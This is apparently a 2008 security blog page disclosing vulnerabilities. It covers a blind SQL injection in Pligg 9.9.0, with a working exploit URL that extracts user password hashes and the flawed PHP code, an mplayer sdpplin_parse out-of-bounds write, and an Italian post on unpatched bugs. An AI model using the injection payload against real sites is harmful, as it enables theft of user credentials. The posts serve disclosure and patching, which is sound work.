PornoSecurity

Pligg 9.9.0 SQL Injection Vulnerability

Posted on 2008-04-09 00:48:39 in PornoSecurity

 

Today i wanted to try the Pligg digg-like content management system, after playing with it for a while I found a vulnerability.

The pligg developers fail to sufficiently sanitize user-supplied data before using it in an SQL query making it possibile to inject extra SQL statements. 

 

http://www.example.com/editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2 

 

To exploit this you need the id of a news you submitted(10 in the example) and an id of a news submitted by others(1 in the example), when the LIKE statement matches you get a "Not your link" error.

This is a tipical blind SQL-injection scenario. 

 

UPDATE:  

Trying to write a little patch for a friend of mine i found many other security-related problems in pligg. Many  user-supplied variables are simply not checked or checked in the very wrong way. 

 

•  The first case, editlink.php: 

 

if(isset($_GET['id'])){
  $theid = strip_tags($_GET['id']);
}
if(isset($_POST['id'])){
  $theid = strip_tags($_POST['id']);

}
[...]
$link = $db->get_row("SELECT link_id, link_author FROM " . table_links . 
" WHERE link_id=".$theid.";")
[...]
$linkres->id=$link_id = strip_tags($_POST['id']);
$linkres->read();   

libs/link.php:

function read($usecache = TRUE) {
 $id = $this->id;
 $link = $db->get_row("SELECT " . table_links . ".* FROM " . table_links 
. " WHERE link_id = $id");
}

 

 

• Another one, vote.php:
  

 

$link->id=$_POST['id'];
$link->read_basic();

link/link.php:

function read_basic() {
[...]
$id = $this->id;
$db->get_row("SELECT link_comments, link_author, link_status, link_randkey, link_category, link_date, link_votes, link_karma,link_published_date FROM " . table_links . " WHERE link_id = $id")

 ..and so on. 

I really dunno why they insist to strip_tags instead of a simple intval() ;) 

 

mplayer sdpplin_parse() Array Indexing Vulnerability

Posted on 2008-03-24 20:38:25 in PornoSecurity

Thursday i read this advisory regarding a xine-lib vulnerability, and after a while i've read that also vlc shares the same vulnerable code.Then i decided to take a look at mplayer and even if the conditions to reach the vulnerability are slightly different, mplayer is vulnerable.

 

The shared vulnerable code(line numbers apply to mplayer): 

• sdpplin_parse_stream():161

desc->stream_id=atoi(buf);

• spplin_parse():283

desc->stream[stream->stream_id]=stream;

Example on mplayer :

eax    0xa0737008  // pointer to desc->stream
edx    0x0495badd  // "streamid" value (76921565)
edi    0x089b59e8  // pointer to stream

<sdpplin_parse+731>: mov    DWORD PTR [eax+edx*4],edi 

In the xine-lib case, using a positive or negative "streamid" parameter as a 4-byte offset from "desc->stream"(that in mplayer appears to fall always on the same location) we can write a pointer to a "stream" structure everywhere in the memory, the first element of the "stream" structure is a pointer to a user-supplied buffer.

There's an important difference here, mplayer does some checks to ensure that "streamid" is equal or greater than 0 and less than the "StreamCount" parameter, but it's still possible to write at memory locations beyond the "desc->stream" pointer.

Got sploit, lets patch! kthx.

Posted on 2008-03-05 17:30:58 in PornoSecurity

Ok, il software XYZ e' vulnerabile. Ok, la vunerabilita' e' ormai pubblica. Ok, ho anche il mio bel numerino CVE. Problema risolto? Non sempre, ci sono casi in cui il problema nn finisce qui.

 

Qualche esempio: il recente stack-based buffer overflow sul parser dei file .MDB che nn e' stato e non verra' mai patchato da Microsoft oppure un buffer overflow nel popolarissimo eggdrop che e' presente ancora nell'ultima versione scaricabile dal sito.